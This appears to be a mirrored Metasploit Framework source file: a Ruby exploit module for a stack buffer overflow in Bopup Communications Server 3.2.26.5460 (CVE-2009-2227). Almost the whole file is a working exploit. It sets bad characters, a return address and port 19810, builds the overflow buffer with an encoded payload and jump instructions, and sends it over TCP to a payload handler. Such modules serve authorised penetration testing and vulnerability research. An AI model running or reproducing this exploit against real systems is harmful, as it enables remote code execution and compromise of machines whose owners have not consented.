mirror of
https://github.com/rapid7/metasploit-framework
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82 lines
2.1 KiB
Ruby
82 lines
2.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Bopup Communications Server Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Bopup Communications Server 3.2.26.5460.
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By sending a specially crafted packet, an attacker may be
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able to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-2227' ],
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[ 'OSVDB', '55275' ],
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[ 'URL', 'http://www.blabsoft.com/products/server' ],
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[ 'URL', 'http://milw0rm.com/exploits/9002' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 417,
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'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Bopup Communications Server 3.2.26.5460', { 'Ret' => 0x0041add2 } ],
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],
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'Privileged' => true,
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 18 2009'))
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register_options(
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[
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Opt::RPORT(19810)
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], self.class)
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end
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def exploit
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connect
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sploit = [0x00000001].pack('V')
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sploit << rand_text_alpha_upper(829 - payload.encoded.length)
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sploit << payload.encoded
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sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string
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sploit << rand_text_alpha_upper(27)
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sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)
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sploit << [target.ret].pack('V')
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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handler
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disconnect
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end
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end
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